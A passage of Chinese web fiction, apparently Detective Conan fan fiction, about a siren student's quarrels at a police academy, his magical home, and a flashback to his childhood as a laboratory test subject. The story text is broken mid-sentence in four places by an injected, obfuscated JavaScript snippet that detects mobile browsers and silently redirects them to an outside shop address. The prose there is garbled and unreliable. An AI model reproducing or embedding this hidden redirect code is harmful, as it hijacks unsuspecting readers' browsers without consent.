“奴隶见到贵族,是应该跪下磕头的。” 少年站在他面前,居高临下地睥睨他:“真是没教养的狗东西。” 气得四方雄“腾”得一下站起来:“臭小子你再讲一遍?” 真没见过一遍还骂不够的。 但是飞鸟彻羽是个“温柔体贴”的好孩子,不介意满足他这点微不足道的小心愿。 “我说你没家教——很难理解吗?” “或者松田说得没错,你就是有点什么小众又特殊的癖好,喜欢给别人当狗之类的?” 敢打松田阵平的家伙,肯定不害怕飞鸟彻羽这个脆皮,一把提起来他的领子:“你找事吗?!” “不建议在警校内打架哦,尤其是在这个时候——刚刚因为打架斗殴被取消比赛资格,结果还没放学就顶风作案的话,不合适哦。” 四方雄让他气笑了,悻悻地放开他的领子。 “……会打篮球吗?” 飞鸟彻羽很诚实:“不会。” 见都没怎么见过。 谁关心你会不会,反正篮球嘛,不就是一群人打架,再带个球? “没事,不会我教你——后天上午吧,后天上午八点,这附近有个篮球馆,你来不来?” “你带四个人,我也带四个人——咱们打一场怎么样?” “你别带咱们警校里面的人,我也不带,咱们打个赌?” “要是我赢了,你就从这里滚出去。” “那要是你输了呢?” 四方雄几乎要被那个大言不惭的家伙逗笑了:“想什么呢?你该不会真的认为自己有可能赢吧?” 好吧,好言难劝该死的鬼。 飞鸟彻羽点点头:“我知道了,那我们约好了。” * 一直目送对方离开,飞鸟彻羽才走到后面的绿化灌木前面。 “……出来。” 灌木丛动了动,没人应声。 飞鸟彻羽又绕到灌木丛的后面,正抓到萩原研二趴在地上。 没办法,警校的绿化修剪的太矮了,单单是蹲着,百分百被发现。 萩原研二尾随偷听被发现了也不尴尬,拍拍身上的灰站起来,对着飞鸟彻羽咧嘴笑。 ……狐狸似的。 飞鸟彻羽无语,又找到了垃圾桶后面的伊达航,藏在树后面的诸伏景光…… “你们两个还不下来?” 松田阵平推了降谷零一把:你先下去。 降谷零反手抓住了松田阵平的袖子:你怎么不先下去? 奇怪的胜负欲产生了! 松田阵平腰腹用力,想要把降谷零扯下去。 降谷零也不甘示弱,借力打力上手推他,准备把松田阵平推下去。 两个人谁也不服输,最后双双掉下去,摔成一团。 萩&景:小阵平/zero有时候真的不太聪明…… “你们几个,是傻瓜吗?” “哈——?” 松田阵平表示不满:“你说谁是傻瓜啊?!” “傻瓜,一二三四五,”飞鸟彻羽伸出食指,扫了半圈,将五个人都囊括在内,然后又伸出中指,比出一个“V”字,分别指向面前的两个人,“你们两个,最大的傻瓜。” 名叫“拖把”的那只白颈鸦扑扇着翅膀,落在飞鸟彻羽的左肩,也跟着帮腔似的大叫:“boke!boke!boke!” 要是有人“有幸”听过乌鸦的叫声,一定会为此而感到震惊的: 又沙又哑,嗓门还大,对旁听者来说,实在是一种酷刑。 好欠揍的鸟! 降谷零才不和一只鸟一般见识……才怪! 飞鸟彻羽身边的能是普通的鸟吗? 肯定也是妖怪! 于是降谷零也不甘示弱:“傻鸟!” 拖把在飞鸟彻羽的肩头跳跳:“boke!” 松田阵平:“傻鸟。” “……你们跟来干什么?” “啊哈哈……”伊达航还是有些尴尬的,挠了挠头,企图发挥自己瞎编谎话的天赋,蒙混过关,“那什么,我们担心你嘛——松田都在他手底下吃瘪了,他要是恼羞成怒和你也动手怎么办?” 你——看——我——信——吗——? “所以说明明可以通过电话解决的问题,给我四方的电话不就好了?” 萩原研二滑跪飞快:“其实是担心四方啦——要是小鸢尾生气把他整个好歹什么的……” 诸伏景光是有点小腹黑在身上的:“比如让他在操场上爬之类的。” 伊达航鬼使神差地接上话:“比如让他去教官办公室主动要求打扫这学期的澡堂什么的。” “比如让他顺便连厕所也打扫了……” “比如教官办公室……” “比如宿舍走廊……” “比如档案室也……” 飞鸟彻羽:……你们到底是对“打扫”这件事有多么深的怨念啊? 旁边两人一鸟的争执还没有结束,三个声音此起彼伏,吵得飞鸟彻羽耳朵疼。 “幼不幼稚!” 少年一人给了一拳,反手抓住了站在自己肩膀上,看见两个“敌人”挨打之后,故意幸灾乐祸,“嘎嘎嘎”笑得超大声的拖把。 “还有你,再鬼叫就把你翅膀剪了!” 拖把能听他的吗? 拖把只是一只普普通通的鸟而已啊,一只鸟能懂什么呢? ——一只鸟只知道在被抓住的时候,扯着嗓子大叫罢了:) “傻鸟!傻鸟!” 松&降:所以说真的只是一只普通的鸟而已啊。 飞鸟彻羽:? 飞鸟彻羽:…… 飞鸟彻羽:=V=< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671975|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哇——!手下留鸟啊!” * “要出去的话……走这边。” 飞鸟彻羽抓住自己宿舍的门把手,往外拉到底,然后逆时针扭了三圈,又顺时针转了一圈半,灌入魔力。 推门而入。 映入眼帘的是一座巨大的……美术馆? 从门口看去,墙面上错落的挂着一幅幅的油画,隐隐约约还能看见两层楼那么高的书架。 一双双手套像是忙碌又有序的工蜂,各司其职地在料理家务。 飞鸟彻羽一推门进来就显出了真容:“我在宿舍的门上镌刻下了传送的铭文,只要密码正确,就可以直接通到我的……” 我的什么呢? 飞鸟彻羽一下子卡壳了。 反正不是我家,或者我的办公室。 我的临时安全屋? 这个说法也太怪了吧。 飞鸟彻羽脑子一抽:“……我的窝点。” 6 拖把被拔了一根尾羽,现在正“老老实实”的站在诸伏景光头上,假装自己刚刚的所作所为都不存在。 羽毛齐全的拖把:嘻嘻.jpg 失去一根尾羽的拖把:不嘻嘻.jpg 飞鸟彻羽懒得管他们——反正就算是只有他自己的时候,他也不做家务,当然更不可能自己干活招待他们: “想吃什么自己弄,冰箱里没有的就找祂们要。” 鱼尾是没有办法在陆地行走的,当然在室内飞行也不是个好主意,于是少年唤来一根粗壮的葡萄藤,卷住自己的腰,托起自己的尾部,将自己抬到落地窗面前。 那里正由几双手套将两米多高的画布挂在墙上,旁边还有笔刷和调色盘,再旁边是装在玻璃瓶子里,密密麻麻整齐的码在避光处的色粉。 飞鸟彻羽对松田阵平招招手:“过来。” 等他在自己面前站定之后,开始先用铅笔起行——看样子是打算一比一还原的。 松田阵平第一次给人当人/体/模/特,被上上下下量来比去,感觉浑身不自在。 人在不自在的时候就会假装自己很忙,身体不方便动的话,就只好嘴巴动,找话说: “……一定要画等身的吗?” “理论上不。” 飞鸟彻羽确定好了大致的比例,开始在一些不确定的地方上手摸。 “但是一来我是写实派,二来要是你不想一会画完,自己胖二十斤、只有上半身、左右腿不一样长、等比例缩小之类的话——还是别偷工减料的好。” 行吧。 “大概要多久?” “明天晚上就能好,我画画很快。” 而且还不耽误后天和四方的约会。 飞鸟彻羽大概也感受到了松田阵平有点局促,一边左右开弓的忙,一边还顺手从葡萄藤上面扯了一串葡萄下来。 “吃吗?” 松田阵平:……不是,这种会动的葡萄藤上面结的果子,真的能吃吗? 硬着头皮尝了一下,意外的味道很好。 不知道是不是魔法造物的缘故,这棵葡萄藤上面的葡萄个个圆润饱满晶莹剔透,熟的恰到好处。 好吃唉。 “行了,”飞鸟彻羽起完型,打发小孩一样,“你没用了,自己玩去吧——有需要的时候会叫你的。” 30.宫野......艾莲娜医生? “我可以随便走动吗?我是说,你这里没有什么隐私之类,不方便我看的?” 藤曼将飞鸟彻羽抬到三米高——这样他的尾巴可以完整地垂下来,不必拖在地上。 “要是有不能给你们看的东西——从一开始就不会带你们来了。” 有道理。 松田阵平拎着那串葡萄,在厨房发现了,已经和手套大军打成一片的诸伏景光。 诸伏景光当然不会言灵,但是这不妨碍他们用手语交流。 于是,松田阵平就看见:诸伏景光像是什么手势舞老师一样,带着密密麻麻的手套聚众结印。 “松田?今天晚上想要吃什么?我在储藏室里面找到了一些米,调料拜托拖把去买了——但是好像没有蔬菜和肉类。” Tooru好像平时也不怎么在这边住的样子。 被诸伏景光摸了两下,喂了两条奶酪棒,就非常愉快的把主人忘在脑后的拖把“嘎嘎”叫了两声,在诸伏景光的头顶上,扑扇着翅膀跳来跳去。 “都可以?”松田阵平不挑食,“这个问题应该去问asuka?他一看就会是那种口味很挑剔的类型。” “而且我们现在要出去买菜吗?” “应该……不用吧?” 诸伏景光迟疑了一下,将他领到了储藏室里面的水池旁边:“据它们说是:想要吃肉的话,在这里……许愿就可以?” 还真有许愿池这种东西吗? 但是都有塞壬的话,好像也不是什么很难以接受的东西? 水池是向下挖空的设计,按理说应该不深,偏偏黑不见底,没有入水口和出水口,但是能保持流动。 松田阵平伸手沾了一点池水,尝了一下。 咸的。 “好像就是普通的海水的味道?” 完全搞不清楚是什么原理,松田阵平决定试试看再说:“带鱼!” 两人很兴奋的在旁边等了半天。 “……没有呢。” “没有啊。” ——这样显得我们两个真心在旁边期待的样子很呆啊! 诸伏景光有点点预料之中的失望:“还是要出去买菜——是不是应该先列个清单……” 在他的视线中,池水剧烈地翻涌,下一个瞬间,一条有两个成年男性合抱粗的腕足探出水面,卷着一条一米多长的带鱼! 亮银色的带鱼被塞进诸伏景光怀里的时候,还在奋力地跳来扭去,蹭了他一身水。 新鲜到现抓现吃吗?! 松田阵平上前两步,想要去研究研究是什么原理:“牛肉!” 这次等了半天,没有回应。 确定是真的不会在有结果了之后,松田阵平还是有点不死心,这次换了一种食材:“螃蟹!” 这次是稍小一些的腕足,卷上来一只巨大的帝王蟹,这次的“送餐员”好像没什么经验,把食材丢在地上就走了。 只留那只威风的大家伙,在地面上张牙舞爪地爬来爬去。 两人又试了几次,得出结论: 只能叫海里能捕到的东西,不只联通一片海域。 肉类解决了,那么蔬菜该怎么办呢? 诸伏景光又折回去找手套交流。 手套普遍不太聪明,勉勉强强可以和人交流的程度,不同个体之间也存在显著智力差异,这次的那双手套就比上一双要聪明不少。 亲自将他们两个领到阳光房里面。 好多兔子。 “哟,”已经啃完三根小黄瓜的伊达航和两位同期打招呼,“来点吗?” “……不了,谢谢。” 诸伏景光委拒,开始轻车熟路地点菜:“西芹一棵、小葱、姜、蒜……” 兔子在诸伏景光的指挥下忙得团团转:挖土、种菜、填土、浇水、摘菜、最后全都堆在一个小筐里,推在诸伏景光脚边,然后挤在猫眼青年的身边邀功。 很神奇的,诸伏景光get到了它们的意思,蹲下身子给每一只摸摸。 “你们要做饭吗?那我也来打下手好了。” 伊达航把嘴里的最后一口黄瓜咽下去。 别说,这现长现摘的就是好吃。 有一只小毛团在摘菜的时候,不小心撞在了松田阵平的腿上,被蔫坏的小卷毛提起来,上下打量着:“……你们说这些兔子能吃吗?” 吓得兔子暴力蹬腿。 “……别开这种玩笑啦。” * 另一边,在书架找书看的降谷零和飞鸟彻羽搭上了话。 “……要是准备成体系的学习魔法的话,我的建议是,从下往上的顺序阅读,比较入门级别的书籍的话……我推荐从《宇宙构成论》、《魔法史概要》、《魔法概论》、《意识与魔力构成》这一类开始阅读。” “再高深一点的,就可以开始看《冥想法》、《魔药学》、《物种构成论》这一类比较实用的书。” “要想在某个领域有专攻的话,就需要找更上面《至高法典》、《魔法与心理》、《所罗门手记》这类。” “但是如果你的掌握语言只限于人类通用的那几类的话——我建议你先做好要学习一门新外语的准备。” 不然根本不是理解的问题,语言都不通。 “……要是想要先了解‘镶合体’呢?” “最上面一排,中间一格,右数第十三本《土豆种植》。” 降谷零依言找到了那本有着厚厚封皮的手稿:“名字听起来像是农学会用到的参考类型——教新学生怎么种土豆之类的。” 翻开第一页,俄语的。 降谷零大学的时候自学了俄语,水平还算不错,除了大量出现的专业用语和各种符号之外,基本的意思能看懂。 ……有些意外。 “我以为魔法不会使用麻瓜通用语言的?” “也不一定,主要是因为那本是我写的——塞壬语只有语言,没有文字。所以就干脆挑了一种比较顺手的用。” ? 降谷零将手里的书翻到尾页,莎草纸的末尾签下的落款是:Lyrean·di·Cristiano·da·Marino。 “你不会以为我真的会顶着一个日本名字吧?” 不论是长相,还是传说中的栖息地——塞壬和东亚文化都没什么关系。 “……很符合塞壬的名字,有点像女孩。” “你父亲是意大利裔,信教?” 意大利语的名字分为三个部分:自己的名字+父名+姓氏。 以飞鸟彻羽的名字为例:Lyrean(莱瑞安)是他的名字。 d ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679358|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' i·Cristiano(英语“基督教徒”的变体)代表了他的父亲叫这个,并且很可能会有基督教背景。 da·Marino是姓氏,其中Marino在意大利语中也有海洋的意思,所以说是很适合塞壬的名字。 “不,并不,家父是那种,只有干了昧良心事情的时候,才会在心里默念‘上帝保佑’的那一类——事实上我怀疑他连圣经有多少章都不知道。” 降谷零往后翻了几页,企图找到一点自己能看懂的东西:“所以说,这就是你明明不是外勤人员,但是还要求你来的原因?” “是啊,如果世界上有且仅有一个能证明:‘诸伏景光无罪’的名额,那么非我莫属——你找不到第二个比我更了解镶合体的人了。” 毕竟是观察【潘多拉】的第一手研究资料。 ……真自信。 飞鸟彻羽将手里的这支笔丢给手套清洗,另拿起一支调新的颜色:“我想起来一个笑话。” 降谷零很配合:“什么?” “有一百个负债累累、绝对没有办法支付得起自己债务的人,走投无路凑在一起,决定一起去终结自己的生命。” “这时候,有一个人突然出了一个好主意:我们为什么不能把所有的债务都转移集中在同一个的身上,然后处决那个人呢?” “这样其他所有人都能在债务中解放了,可以去继续自己的人生——而被处决的那个人,反正已经走投无路了,对他来说不也没有什么区别?” “说说你的想法吧,降谷?” 降谷零一时不知道该说什么好。 “……你觉得呢?” 总觉得他说不出来什么令人展颜的好话。 “恭喜你,刚刚发明了基督教。” 降谷零:……无语。 但是飞鸟彻羽看起来感觉很有意思。 降谷零企图转移话题:“‘镶合体’存在的意义是什么?” 专有名词太多,又没有名词注释,对于初学者来说实在很不友好,阅读体验极差。 还不如直接去问作者。 “原因多种多样吧……比起说‘镶合体’,叫‘养小鬼’对于你们来说更好理解一点?” “就是通过捏造一个神灵鬼怪,用血肉喂养祂,就可以获得一定的回馈之类的。” “创造出来这种东西的理由多种多样,求财、求命、求姻缘、或者就是很单纯的想要捏一个——什么千奇百怪的理由都有,但本质上中心本质是不变的。” “力量,或者说魔力。” “目前所有主流的研究都支持一点:魔力只能先天获得,是基因里面与生俱来的,没有通过后天努力获得的可能。” “但是‘镶合体’开辟了一种新的思路:生命转化成魔力——就像是风能转化成电能一样。” “说白了,祂可以让一个普通人,去掉前面的那个形容词——所以也有一些学者在这个基础上,提出了‘人造魔法师’的概念……” 降谷零听着听着 ,大脑开始放空,眼神开始迷离…… 嗯? 在同一排,左手边,有一本大部头的书籍上赫然签着两个名字: Miyano Atsushi和Miyano Erena 宫野……艾莲娜医生? 31.地狱天使1 “你认识艾莲娜医生?!” 一直在寻找,一直了无音讯的人,突然出现在眼前,是什么概念? 难道会被时间的洪流从记忆中磨灭吗? 怎么会呢? 她只会在在记忆中,像是陈年的好酒,越酿越醇,直到揭开封口的那一刻,才意识到自己早就在脑海中预演了这一幕千百遍。 飞鸟彻羽让他叫的鼓膜疼:“……什么?” “宫野艾莲娜!” 翻开厚厚的封面,不是印刷体的出版书,而是类似于手稿之类的手写体——和记忆中的艾莲娜医生的字迹如出一辙。 降谷零甚至可以听见耳畔自己如雷的心跳声,太过激动的缘故,导致声音几乎颤抖到哽咽: “这个,这一本,你知道作者的去处吗?” 飞鸟彻羽丢下手里的笔,扭过身去,居高临下地看着他。 好啊,好极了。 组织的代号成员、叛徒香槟、实验体suki-403726如是想到。 ——降谷正晃家的,和宫野夫妇也有联系。 这几乎是飞鸟彻羽最近得知的,排名第二的好消息了——仅次于“诸伏景光携带疑似【潘多拉】仿制品”。 区别在于,后者是飞鸟彻羽自己捏造的,前者可是实实在在的意外之喜。 欢喜到足够叫飞鸟彻羽兴奋地头皮发麻。 那一瞬间,突然产生了一种癫狂又清醒的声音,在塞壬的颅腔内歇斯底里。 “把他们一起碾碎了,搅拌均匀,埋进土里当花肥!” 在M7实验室的围墙外,种着连成片的白玫瑰。 说是白玫瑰,实际上是白月季。 M7是组织最核心的实验室和训练营,就像是一座昼夜不停的巨大工厂,源源不断地向外输送着各种用来维持组织运作的资源。 顺便排出新鲜的尸体。 理论上,不论是实验室的“废物”,还是训练营的“废物”,都应该统一推进焚化炉处理。 但是总有对不上的情况,因为各式各样的原因死了,没办法过明面,所以就就近处理,埋在花藤下。 有时候路过,能看见在天空中盘旋着的乌鸦,还有被刨出来,被乌鸦啄食干净的,白森森的骨头。 人的,或者其他什么动物的。 飞鸟彻羽记得第一次进M7的时候,还是普普通通的绿化草坪,后来在某一天,种下了月季的种子。 月季喜荤,有了血肉的滋养更是疯涨,像是蝗虫,在所有人反应过来的时候,才发现它已经侵占了大半的花园。 “留着吧。” 因为BOSS的一句话,愚昧蠢钝的东西就获得了在外横行霸道的特权,合着血腥味的藤曼就像涨潮的海水一样,无声地将整个M7吞没——就像是一座棺材。 阻断了“此界”和“彼界”的联系。 所有留居此处的人,都别想活命。 因为塞壬面部肌肉极其不发达,几乎没有微表情的缘故,在飞鸟彻羽不刻意表演的情况下,人类是没有办法通过他的表情获得什么信息的。 降谷零被飞鸟彻羽看得浑身发毛:“怎么了?是不方便说吗?” “不,没什么不方便的。” 反正宫野夫妇当年的事情,也不算是什么秘密。 “抛开私德不谈,宫野夫妇是横跨了生物学、医学、魔法三个领域的天才科学家,这点毋庸置疑。” “大概在十几二十年前吧,宫野夫妇,主要是宫野厚司,开创性的发表了《魔法的生理学概述》在各界掀起轩然大波。” “用科学解释魔法,宫野夫妇确实是出类拔萃的天才,开宗立派级别的大牛。即使是在百年之后,他们的名字也会在历史的洪流里面熠熠生辉。” 究竟是好名,还是恶名,可就不保证了。 “同样是因为自己的观点,他们被科学界除名,一个是‘疯狂科学家’,另一个是‘地狱天使’,之后很快就消失在大众的视野中了。” 降谷零大概也能理解。 因为发表了足够惊世骇俗的研究,所以遭到守旧势力的迫害,或者被妄图独占他们研究成果的黑心势力扣下,强迫进行研究。 希望是后者,这样至少还有活着的可能。 徒然得知了这个消息的降谷零心情有些沉重。 不由得暗暗在心里担忧他们的安危,还有宫野明美,当时艾莲娜医生好像还怀孕了,希望他们一家四口平安无事。 “……抛开私德是什么意思?” 降谷零对这个说法有些反感。 他和宫野家相处了那么久,当然相信宫野家的为人,肯定是被迫害和欺骗才落得了无音讯的下场。 当时能给年幼的自己无条件提供温暖和支持的一家人,怎么可能私德有问题呢? “你很了解他们吗?” 毕竟是能弄到手稿的关系,不说有没有交集,至少调查是一定调查过的。 也许是在这途中听到了什么捏造的留言。 但是再怎么听说,怎么可能有比自己这个亲眼见到,亲耳听到的人还要了解? 降谷零不愿意听见有任何人诋毁宫野家的名誉。 “我了解他们肯定不是你听见的那种人,事实上,我认为宫野艾莲娜医生是个温柔善良的好人,宫野厚司先生也是一个有责任有担当的人,还有宫野明美……” 哦。 飞鸟彻羽感觉很有意思。 我听到的那种人。 我听见的哪种人? 我听见的组织实验组负责人利口酒,宫野艾莲娜,和同为组织代号成员的田纳西威士忌,宫野厚司那种人? * 宫野艾莲娜第一次见到香槟的时候,他也不过六岁。 不同于其他实验体,对着研究人员肆意辱骂也好,祈求死亡也罢,香槟至始至终表现得很安静,安静的不像是个正常六岁的孩子。 配上他那双背后苍白的羽翼和姣好的脸庞,就像是遗落在凡间的天使。 “……你叫什么名字?” 香槟不回答。 于是她便去看扣在他手腕上的标签: 香槟,suki-403726,6岁,亚人种塞壬混血…… 还是个有代号的。 “你们从哪里搞来的塞壬?” 宫野艾莲娜再清楚不过,国际上公认的塞壬已经在四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690708|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五百年前的大航海时代就已经宣布灭绝了。 “也不算完全的塞壬吧?” “送货的”将手伸进铁笼子里,扭住香槟的脸,将他扯过来,面朝着利口酒,像是在牲口市场上,展示自家小牛犊牙口的卖家。 小孩的耳羽,不安的抖抖,挠一挠他的手心。 男人带着口罩和头套,在刺眼的顶灯下看不清楚表情。 像是一张惨白的纸。 “塞壬哪有男的?说不定是养在猪圈里面的漏网之鱼,生下的小杂种也说不定呢?” 反正这种传说中的女妖,能在M7实验室工作的人都多多少少有所耳闻:美艳妩媚、不会自然衰老死亡的皮囊。 “就抓到这一个,还可惜是个男的——用过了就没了,所以上面的意思是,珍惜着点用。” 香槟很清楚,话是这么说。 但是再怎么珍惜,也不过是个实验耗材,一针药剂下去,一样听天由命上帝保佑的份。 “不过还是要注意着点,这孩子看着不声不响的,下手狠着呢,听说前两天刚带回来的时候,本来是直接送到上面去的,结果您猜怎么着?” 利口酒心里隐隐约约也能预感到,这个看起来我见犹怜,比同龄人类幼崽还要小上一圈的孩子肯定没干什么好事。 ——代号成员即使犯了大错,除非是背叛或者卧底,不然无论如何是不可能被“发配”到实验组的。 代号成员是组织的珍贵财产,没有原则性错误,归处最多是审讯室或者禁闭室。 “……他干什么了?” 对于他这种只能从事苦力工作的底层人员,能碰见利口酒这样的代号酒,当然要极尽阿谀之能。 男人压低了声音,好像他讲的是什么了不起的独家机密:“据说是送到朗姆大人那里去了,结果这不通人性的小畜生,把朗姆大人的眼珠子给……” 利口酒知道这件事——朗姆肯定是想瞒的,关键是他嚎得几乎要把天花板要给掀掉了,进进出出又有那么多医护人员,出来的时候就只剩下了一只眼睛…… 就算是瞒得住外围和底层,也瞒不住她这种地位的代号成员啊。 更别提利口酒还是实验组的负责人。 只要想象一下这个场景,就有些身上发毛:“……据说是整个被抠出来了,医生进去的时候,还在地上滚呢——天知道他是怎么得手的?” 利口酒不想再浪费时间,听自己早就知道的“秘密”,把嘴碎的男人打发走后,企图先把香槟从那个狭小的笼子里面弄出来。 这时候才发现:一根有她手腕粗的秘银镣铐,紧紧的扣在他尾巴和尾鳍的连接处,另一端锁在笼子的铁棍上,让他没有办法变成双腿活动。 被秘银死死扣住的生灵即使之前再强大,也没有办法调动一分一毫的魔力,所以利口酒不担心自己的安全问题。 “我先把你弄出来好吗?你配合一下,别对我的眼睛下手行不行?” 直到这个时候,小孩才真正跟她有了视线交流。 明艳圆润的鸳鸯眼看着她那双绿色的眼睛,吐出一句磕磕巴巴的英文。 ——他不会讲日语。 “你怀孕了吗?” 32.地狱天使3 利口酒一怔:“……是啊。” 于是香槟又不说话了,歪歪头看着她。 看起来乖巧又温顺,和之前的所有实验体都不一样。 在经过他同意之后,利口酒将他抱起来放在手术台上,将镣铐转扣在旁边的栏杆。 “我现在先给你抽一点血,别动好吗?” 香槟点点头。 冰冷的针头扎进青色的血管里,导出鲜红色的血液。 这是正常现象,塞壬可以在水下闭气超过两个小时,所以血含氧量高是正常现象,血含氧量高对应血红蛋白就会高,血液的颜色就会越鲜红。 利口酒小心地观察着手里的注射器。 宣布灭绝五百年之久的塞壬,是不可多得的研究材料,利口酒坚信:它们“长生不死,青春永驻”的特征足够为APTX系列补足最重要的一块拼图。 他还太小了,不能抽太多血,血液检验也用不了太多,利口酒只抽了10cc就拔出针头,给他做了止血处理,将鲜红色的血液密封送去化验。 在她扭过身来,准备继续安抚香槟情绪,以便进行下一项的时候,才发现小孩哭了。 塞壬连哭起来都是与众不同的: 不像是其他人所做的单纯的为了情绪宣泄,整张脸都皱成一朵菊花,长着血盆大口,挤出眼纹,发出足以招人注意的声音。 香槟哭起来的时候也没什么表情,只是抿着嘴,吧嗒吧嗒得掉眼泪,泪水越过被泪意逼红的眼尾,一颗一颗无声地砸在纯白的上衣上,留下明显的水渍。 哭起来可怜到,旁人光是看看心就要碎了:“……怎么啦?” 小孩将耳羽折过去,擦擦眼泪,不肯开口。 利口酒用手指将他的眼泪轻轻拭去,捧着他的脸温声安抚。 被送进实验室前再怎么凶,也不过是个6岁的孩子而已,被哄一哄,就睁着圆润的,含着泪的眼睛,小声地抱怨: “……好疼。” 睫毛被泪水打湿,像是一把挺翘的羽扇,忽闪忽闪的。 刚刚扎过针的血管已经青了起来,盘桓在白皙的手臂上,像一条狰狞的蛇。 小孩子肉嫩是这样的。 之前经营过一家小诊所,“降伏”天天爱和别人打架的小金毛,自己家里还养了一个差不多年纪的女孩的利口酒很懂怎么和小孩相处。 女人握住他冰凉的手,揉他的后脑勺: “好疼吗?” “疼……疼得要死掉了。” 好吧。 正好口袋里有给明美吃剩下的糖果。 利口酒将漂亮的糖纸剥开,将粉红色的糖球喂进他的嘴里。 ——目前还没有安排药物摄入,所以暂时还不用控制饮食。 塞壬的牙口好的出奇:三两下就将坚硬的草莓硬糖嚼烂咬碎,吞进肚子里,然后又眼巴巴地看着她。 ……没有了。 “要是你听话的话,下次再给你带糖果好不好?” “喜欢什么味道的?” 即使没有嘶喊,刚刚哭过的声音还是有点低哑:“……随便……都可以。” “那就橘子口味的好不好?” 前几天一起给明美买过,她不太喜欢,应该还有剩余。 香槟点点头,就算是同意了,接下来的检查一直乖乖地被抱着,不哭不闹,很配合。 他很怕生的样子,平等的在路过每一个人的时候往她怀里躲。 “……为什么要做这些检查?” “为了保证你身体健康。” 小孩环住她的脖子,默默地看着另一个被几个安保联合制伏的,和自己穿一样衣服的男人在歇斯底里的尖叫咒骂。 往利口酒怀里缩了缩。 “……他也要做检查吗?” “是呀,每个人都要做的。” 似是被男人吓到了,一直到走了很远,拐过拐角,他才趴在利口酒的怀里,闷闷地开口:“……他看起来很不健康。” 利口酒安抚似的揉了揉他的后脑勺:“不健康就更要做检查了。” 香槟乖乖地窝在她怀里,听着女人平稳有力的心跳声,和因为说话胸腔震动的声音。 很久没有开口,久到要不是一直在进行不间断的采样,利口酒几乎都要以为他是不是要睡着了。 “你不做吗?” 声音又轻又小,利口酒几乎没有听见:“什么?” “你为什么不做检查呢?你不需要健康吗?” “……不,我不用。” 香槟点点头,不知道听懂没听懂。 他似乎对“胎儿”很感兴趣,检查结束的时候,静静地靠在利口酒的肚皮上,听她的心跳。 “妹妹?” “也有可能是弟弟——要等他长得大一点才能知道。不过我们也没打算去查,顺其自然准备迎接惊喜。” 但是也许这种长句子对他来说有点难以理解,香槟又是点点头。 “是妹妹。” 也不知道他是怎么确定的,但是利口酒知道,和小孩争执这种问题没有意义:“那就借你的吉言啦。” “妹妹也要检查?” 利口酒几乎要怀疑,如若不是他实在怕生,不愿意和别人讲话,他几乎能对所有人问一遍这个问题。 塞壬在这种地方展现出来了他超乎寻常的执拗。 “妹妹也不用做——只有穿短袖衣服的人才要做。” 于是香槟歪着头看她,像是窗边啄食炒米时候,突然发现有人在观察自己的胆大的鸟。 “什么时候生妹妹呢?” “大概五六个月之后。” * 在实验室的日子很难熬。 仅仅是作为工作而言,本就压抑的研究生活,在组织的阴影下,更是连大声喘息都是错误,穿着白大褂的人,就像是血肉构成的,需要消耗食物和水的高端仪器——和组织重金采购回来的没什么本质上的区别。 即使是热爱着自己工作的利口酒,有时候也会在日复一日的繁重工作中感到疲惫。 不过还好,香槟是特殊的。 也许是那颗硬糖的缘故,每次见到自己的时候,都会很开心地伸开耳羽,对着自己笑。 在实验结果不理想的时候,也会很乖巧的主动允许她摸自己的头,并会很讨巧地用头顶去蹭她的手心。 也不是没有收到过其他同事的酸话: “真羡慕你手下有这个么乖的——塞壬果然就是讨人喜欢啊。” 寻常的实验体,哪个不是对研究员采取各式各样的抵抗态度? 尖叫谩骂屡见不鲜,即使是有安保的重重监控,暴力伤害事件也时不时的发生。 也不是没有出现过那种,假装想要和研究员打好关系,实际上是伺机行动,准备对研究员下手的个例。 但是这中情况在“非人”身上出现的可能性为零: 人类的大脑是公认的最发达、最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715843|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高等的没有之一,这种先天性优势,让其他任何一种生物的诡计,在正常人类的面前都显得相形见绌。 但是出于安全考虑,利口酒也同样安排香槟做过智力测试。 结果显示为60分。 ——低于70就属于弱智的范畴。 